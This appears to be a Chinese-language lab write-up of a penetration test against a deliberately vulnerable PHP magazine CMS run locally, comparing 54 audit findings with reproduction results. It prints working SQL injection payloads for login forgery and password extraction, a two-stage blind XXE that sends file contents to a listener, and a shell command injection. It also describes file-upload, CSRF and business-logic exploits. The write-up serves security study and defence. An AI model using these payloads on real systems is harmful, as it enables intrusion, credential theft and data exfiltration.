PHP 靶场复现系列(一):审计列出 54 个点位,复现推翻了 17 个

2026-10-22

PHP 靶场复现系列(一):审计列出 54 个点位,复现推翻了 17 个

一个杂志社题材的 PHP 系统,被我拿来当靶场,从源码审计到逐项复现,完整扫了三轮。审计阶段汇总出 54 个点位(系统附带的漏洞清单 49 条,加上审计新发现的 5 条),复现阶段逐项验证:坐实 36 个,推翻 17 个,还有 1 个说法夸大、只记录不利用。这篇不打算把 36 个成立的漏洞再抄一遍清单——我想讲的是审计和复现之间的落差:成立的怎么打、不成立的为什么不成立,以及同一个部署细节如何同时制造三个完全不同的现象。本文所有操作都在我本地搭建的环境里完成,不涉及任何真实系统。

为什么做这个

审计清单写的是"怀疑",不是事实。代码审计阶段看着像注入点的地方,可能早被顺手加的一行转义堵死了;审计没注意到的角落,反而可能藏着真问题。只审计、列完清单就收工,是安全评估里最容易自欺欺人的一种做法——你以为自己在找漏洞,其实只是在收集猜测。所以这轮的规矩是审计和复现必须连着做:清单负责把范围划全,复现负责逐项定性。

具体到执行:每个点位都要有实测判据,判据以服务端回显和数据库状态为准,不看页面表象;结论分三档——成立、不成立、只记录;破坏性操作(改口令、删数据、禁用账号)验证完立即恢复并复验。最后沉淀成一份复现文档,本系列的文章就出自这批文档。

系列共三个靶场:一篇一个。第一个是 CyberWeekly,一个杂志社题材的 CMS,功能面铺得广(文章、评论、商城、订单、后台),适合先把漏洞类型的全景立住;后面两篇分别是老牌国产 CMS XinCMS(捆 Discuz! X1.5)和 BlueCMS 搭的 BBS,脾气完全不同。

工具环境

工具 用途 版本/说明
CyberWeekly 靶场 被测系统 PHP 杂志类 CMS,运行在本地靶机
PHP 内置服务器 靶场运行时 PHP 7.4,单线程——这个细节后面会反复出现
MySQL 靶场数据库 5.7,容器部署,仅本地访问
curl / Python requests 发包与脚本化取证 判据核对、批量对照实验
sqlmap 注入复核 仅第一轮对文章页注入做过一次交叉复核
Python socket 本地监听 反弹连接与盲 XXE 外带接收

先看总账:54 个点位,三种结局

类别 点位 成立 不成立
SQL 注入 10 4 6
XSS 5 4 1
CSRF 4 4 0
SSRF 4 2 1(另 1 只记录)
文件上传 4 3 1
文件包含 4 2 2
命令执行 3 2 1
XXE 3 3 0
业务逻辑与越权 10 6 4
信息泄露 4 4 0
权限绕过 3 2 1
合计 54 36 17

17 个不成立的点位,归拢起来是三种死法。第一种:代码其实做了防护,审计阶段看走了眼——专栏页和找回密码页都用了预处理,订单参数过了 intval(),搜索词被转义后老老实实躺在 LIKE 字符串里。第二种:利用条件被部署形态吃掉——购买竞态的代码确实非原子,但单线程服务器把并发请求排成了队;SSRF 的协议利用说法则纯属夸大。第三种:入口根本不存在——审计清单里列的 eval 代码执行点,在系统里找不到对应入口。

反过来看,成立的 36 个里,不少点位的实际利用方式和审计阶段预想的对不上。这正是下面要细讲的部分。

怎么做的

登录注入:万能密码过不了,得伪造一整行

登录查询是字符串拼接,这一点审计阶段的判断没错:

SELECT * FROM users WHERE username = '<用户输入>'

但经典的万能密码 ' OR '1'='1' -- - 打不进去。原因是查询之后还有一道 PHP 侧校验:程序取结果集第一行,把用户提交的口令与该行的口令字段做明文比对。万能密码命中的第一行是真实的管理员行,你不知道他的真实口令,比对必然失败——注入只解决了"查到一行",没解决"口令对得上"。

真正的打法是 UNION 伪造一整行:自己指定用户名、口令和角色,让查询返回一行完全受控的数据,再用自己设定的口令登录:

username = ' UNION SELECT 9999,'forgedpoc','Forged@123','admin','active','f@f.f',NULL,NULL,NULL,NULL,NULL,'',0,0,NOW()-- -
password = Forged@123

列数是试出来的:14、16 列都报错,只有 15 列能跑通——users 表实际比建表脚本多一个 status 列,脚本写的是 14 列。伪造行登录成功后,后台所有功能可见,role=admin 生效。

这一条的教训很具体:登录注入的成败不在注入本身,而在注入之后那段业务校验。用拼接查询的系统,如果口令校验也在 SQL 里完成(WHERE username='…' AND password='…'),万能密码就够了;校验挪到应用层,就得升级成伪造行。

文章页 UNION 与首页报错:两条通道,两种脾气

文章页的注入点是最标准的那种拼接:

$sql = "SELECT * FROM articles WHERE id = $id";

用负数 id 让原查询返回空行,UNION 的行就成为页面渲染的第一行:

article.php?id=-1 UNION SELECT 1,username,password,4,5,email,7,8,9,10,11 FROM users-- -

页面直接渲染出 users 表里的用户名、口令和邮箱。但这个点位错误回显是关的:所有 SQL 错误被统一吞成一句"查询失败,请检查参数格式",所以报错注入在这条通道上走不通——审计清单把报错注入记成了这个系统的通用特征,逐个点位测下来并不成立。

报错通道开在另一个地方——首页的栏目参数。给它一个单引号,页面会把完整的 SELECT 语句连同 MySQL 原生报错一起吐出来:

index.php?category=' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT username FROM users WHERE id=1),0x7e))-- -
→ XPATH syntax error: '~admin~'

同法可以把口令明文取出来(顺带坐实:这个系统的口令是明文存储的,没有哈希)。而这个点位偏偏用不了 UNION:同一段 WHERE 条件同时喂给一条 SELECT COUNT(*)(1 列)和一条 SELECT *(11 列),列数怎么凑都会让另一条报列数不符。一个点位一种脾气,这也是逐项实测的意义——同系统的两个注入点,利用方式完全不能互相套用。

CSRF:token 生成了,但没人校验

这个系统不是没有 CSRF 防护,而是防护只做了一半:页面会生成 token,口令修改、发文、订阅、后台禁用用户这些写操作里,没有一个真正校验 token。更糟的是 token 本身可预测:

$simple_token = md5(time() . $username . rand(1000, 9999));

时间戳和用户名都是已知量,随机部分只有 9000 种可能——实测枚举到第 7977 个值就重算命中了当时的 token。但其实连枚举都多余:既然没人校验,跨源表单里干脆不带 token 就能提交。

实测用已登录的受害者会话发跨源 POST 修改口令:请求被正常受理,新口令可登录、旧口令失效,改密成立。验完之后走找回密码流程把口令恢复原值并双向复验。后台的禁用用户是 GET 型接口,跨源 Referer 直接请求同样生效。发一个"看起来有防护"的假动作,比没有防护更危险——它会让所有人(包括写代码的人)以为这里已经防住了。

头像上传:只信浏览器自报的 MIME

上传点的校验逻辑是:只看 $_FILES 里的 type 字段——也就是浏览器自己声明的 Content-Type;扩展名取原文件名;保存名是服务端随机生成的。

把一个 PHP 文件(内容就是一行回显加 phpinfo)声明成 image/png 上传,它会以 .php 扩展名原样落地到 uploads 目录,访问即执行。声明成真实的 application/x-php 反而会被拒——校验只认声明,不看内容。给 PHP 代码套上 GIF89a 的图片头也一样能过,图片头不影响解析器执行。这三个点位(类型绕过、MIME 校验形同虚设、图片马)全部成立。

但同一组里的文件名遍历不成立:文件名里的 ../../ 没有任何作用,因为保存名根本不用原文件名,是服务端用时间和哈希拼的。补一句口径:这四个子项其实是同一个头像上传入口的不同侧面,审计清单按四条计,这里沿用。上传漏洞的四个子项,三成立一不成立,分界线不在"有没有校验",而在"校验的是哪一环"。

盲 XXE:得分两段,还会被解析器拦

订单模板导入功能用 DOMDocument 加载用户提交的 XML,且打开了外部实体加载。直接的文件读取型 XXE 是通的:实体指向 /etc/passwd 或用 php://filter 读配置文件源码,内容都会回显在解析结果里。

但盲 XXE——数据不回显、只能靠外带——第一段就卡住了:在这套加载配置下,写在内部子集里的 SYSTEM 实体根本不展开,请求发出去,外带端毫无动静。改成两段式才行:内部子集只声明一个参数实体去加载外部 DTD,真正的取值和外发都写在外部 DTD 里。下面是实测打通的那组原文,目标是主机名文件:

<?xml version="1.0"?>
<!DOCTYPE orders_export [
<!ENTITY % dtd6 SYSTEM "http://127.0.0.1:8899/evil6.dtd">
%dtd6;
%exfil;
]>
<orders_export>poc</orders_export>

外部 DTD(evil6.dtd):

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://127.0.0.1:8899/xxe83n?d=%file;'>">
%eval;

两段式有个关键细节:外部 DTD 里声明嵌套实体时,内层的百分号必须写成字符引用 &#x25;。直接写 % 会在 DTD 解析阶段被当作参数实体引用提前处理,嵌套声明成不了形;写成字符引用,百分号延迟到主文档引用求值时才还原,外带实体才立得起来——这正是第一轮内部子集写法不展开的分界。

主文档里的 %exfil; 一被引用,解析器就带着 base64 后的文件内容请求监听端,小文件完整外带成功、解码无误。但大文件不行:几十 KB 的文件在实体展开阶段被 libxml 的放大防护直接拦下,响应明确报错。所以这个点位的准确结论是"成立(受限)":能拿小文件,拿不了大文件——写利用工具时不把这一句写上,下次换个目标就会在同一个地方浪费半天。

后台命令执行:一条 Windows 风格的 ping

后台有个网络诊断功能,代码是这样拼的:

$output = shell_exec("ping -n 1 " . $_GET['ip']);

ip 参数零过滤,分号接命令就能执行,这没什么悬念。真正有意思的是 -n 1 这个参数:这是 Windows 版 ping 的计数写法,靶场代码显然是从 Windows 环境搬过来的。而在 Linux 上,-n 只表示以数字形式显示地址、并不计数,后面的 1 会被当成目标主机,整条命令就变成没有次数上限的持续 ping。实测必须把参数塑造成下面这样才跑得通:

ip = 127.0.0.1 -c 1;id

回显是 uid=0(root)——靶场的 PHP 进程就是以 root 身份跑的,命令执行成立;在此基础上反弹一个 Shell 回本机监听也验证通过。一行跨平台差异,差点让基线测试先把站点挂掉——这件事放在后面的踩坑里讲。

钱袋子三连:充值、负数购买、稿费

业务逻辑组的六个成立点位里,有三个都在钱上,而且错法各不相同。

充值功能只做一件事:把用户提交的金额加到余额上。不验支付、不验金额正负——提交一个大额正数,余额立刻增加并落库;提交负数则反向扣减。全程没有任何支付环节参与,"充值成功"只是一句页面提示。

购买功能的判据写错了方向。商品总价是单价乘数量,代码里的放行条件大致是:

if ($points >= $total || $qty < 0) { /* 扣款并创建订单 */ }

数量传 -10,总价就是 -100,"余额 ≥ 总价"恒成立,扣款变成余额反增 100,还白拿一份订单。给负数开绿灯的那个 || $qty < 0,看起来像是为某种特殊场景留的后门,实际效果是把校验整体废掉。

稿费领取则是状态标记缺失:领取逻辑只查文章是不是已发布、作者是不是本人,唯独不查"这篇文章领过没有"。同一篇文章连点三次,三次到账。三个点位,一个缺支付校验、一个判据写反、一个漏状态位——业务逻辑漏洞在审计清单里最容易被一笔带过,复现时反而是判据最干净的一组:余额和订单数都是数据库里的硬状态,做不了假。

被部署"免疫"的竞态

最后讲一个不成立的,因为它的不成立最有教育意义。购买流程的代码确实是非原子的:先查余额、再判断、最后扣款建单,三步之间没有任何锁或事务。从代码审计的角度看,这是个教科书级的竞态条件。

实测用一个余额 100 的新账号并发 10 个请求,每个请求买 10 件、每单金额正好 100——只要有两单同时挤过校验,余额就会被扣穿。结果只有 1 单成功,余额扣到 0 为止,其余请求读到的都是已扣减后的余额。原因不在代码,在部署:PHP 内置服务器是单线程的,请求被天然串行化,竞态窗口根本不存在。换成多进程或多线程的部署形态,这段代码立刻原形毕露。

所以这个点位的完整结论要写两句话:代码缺陷属实,本部署形态下不可利用。只写前半句,结论会夸大风险;只写后半句,下次换个部署就埋雷。顺带一提,同样的单线程,在这轮测试里还制造了另外两个现象——SSRF 打自己会死锁、基线 ping 会把站点长时间挂起。一个部署细节,三种完全不同的表现,这是整轮复测里我印象最深的事。

踩过的坑

1. SSRF 把自己的站点打死锁。 用后台的 SSRF 功能请求本站自己的端口时,整个站点失去响应。原因:单线程服务器唯一的线程在等 curl 返回,而 curl 等的正是被这个请求占住的自己,curl 又没设超时。解法:SSRF 先测非本站的其他端口;真死锁了只能重启 PHP 进程。恢复后复测确认站点无损。

2. 一条基线 ping 把站点挂了十几分钟。 测命令执行前先发了一条原样参数的基线请求,就是前面说的 -n 1 跨平台问题:Linux 下变成无限 ping,单线程被一条命令长期占用。教训:任何命令执行类点位,基线请求先加 timeout 和计数上限,别让"确认它能跑"本身变成拒绝服务。

3. 建表脚本和真实表结构对不上。 伪造登录行时列数反复失败,最后靠逐列试错确认 users 表是 15 列,建表脚本里写的是 14 列,多出的 status 列脚本里没有。涉及列数的利用,先查 information_schema 或直接试错定列,别信随附脚本。

4. 业务成功了,流水却是坏的。 充值点位的记账流水每条都写入失败(参数绑定列数不匹配),只看流水表会误判成"充值没生效"。判据要多点互证:余额字段、流水、页面回显至少对上两样。

5. 跳转没出现,不等于没生效。 找回密码的重置环节里,页面在输出内容之后才发 Location 头,跳转被吞掉,看上去像失败;其实口令已经改了,最终是靠"新口令能登、旧口令失效"定的案。凡是带跳转的流程,成败判定落在状态上,不落在跳转上。

6. 站点缓存制造假阴性。 靶场有二三十秒的文件缓存,第一轮好几个对照实验被缓存污染,出现"payload 时灵时不灵"的假象。之后所有请求一律带随机参数、对照组在同一时间窗内跑完,数据才稳定下来。

注意事项

动手复现这类靶场之前,先把边界划清:

  • 只在自己搭建的本地环境里做,靶场和数据库都不对公网开放
  • 改密、删评论、禁用用户这类破坏性点位,全部用自建测试账号,验完立即恢复并复验恢复结果
  • 上传的脚本文件验完即删,删完再访问一次确认 404——这轮就留过一个尾巴:文件删了,头像字段里还残留着指向它的文件名
  • 涉及金额的点位提前约好恢复口径:余额变动和订单会永久留在库里,这轮的充值痕迹就是作为证据保留的,没做回滚
  • 每个点位的结论都要留证据文件(请求、回显、DB 状态),只写"成立/不成立"四个字,下次复查等于重做

和另外两个靶场比

同一个 SQL 注入,在三个系统里是三种命。CyberWeekly 的文章页注入能注但错误被吞,首页栏目参数反而报错全开;下一篇的 XinCMS,注入点藏在 in() 列表参数里,只能走时间盲注慢慢磨;而 BBS 的注入甚至不在请求参数里——一个在 Cookie 里,一个靠 GBK 宽字节把转义吃掉。同一个漏洞类型,成因、通道、利用手法全不一样,这也是这个系列值得一篇一篇写下去的原因。

下一篇:XinCMS + Discuz! X1.5——未授权上传、伪造 Cookie、文件包含,三步拼出一条完整的 RCE 利用链,外加几个被证伪的"经典漏洞"。

复盘

这轮复测里,我觉得做对了三件事。

第一,判据从一开始就定在服务端。页面回显会被缓存污染、会被吞掉的跳转误导、会和坏掉的流水互相矛盾;数据库里的状态不会。36 个成立点位,每一个都有 DB 状态或服务端回显层面的硬证据。

第二,把证伪当正事做。17 个不成立点位逐项留了 payload、对照组和判定理由,而不是从清单上划掉就算了。尤其是竞态那条——"代码有缺陷、本部署不可利用"的双句结论,比简单的成立/不成立更接近事实,也更能指导防御方排优先级。

第三,先读代码再发包。token 只生成不校验、稿费不查领取标记、购买条件里那个多余的 || $qty < 0,都是读代码时先发现的,发包只是确认。反过来,几个审计阶段看着很像样的点位(堆叠注入、日志包含链),也是读代码加复测定性才发现链条中间是断的。审计和实测互相纠错,缺一不可。

总结

  • 漏洞清单是上限,不是事实:54 个点位实测推翻了 17 个,成立的里面还有不少利用方式和审计阶段预想的对不上
  • 利用成不成立,一半看代码,一半看部署形态:单线程这一个细节,同时造成了 SSRF 自死锁、竞态被串行化"免疫"、ping 命令长期挂站
  • 判据要落在服务端状态上:回显和 DB 状态可信,页面表象(跳转、流水、缓存后的内容)会骗人
  • 防护的假动作最危险:生成 token 却不校验、校验 MIME 却只信声明——看起来有防护的地方,往往正是没人再去细看的地方
  • 防御收敛起来仍是那几件基本功:参数化查询、输出编码、服务端权限与状态校验、金额与次数的边界校验,再加一条——别把教学环境里的便利写法带进生产

以上,全文完。

最后认识一下,我是 Liyu,一名 AI 实践爱好者,会不定期记录我的学习过程,期待你的关注和分享。

← 返回文章列表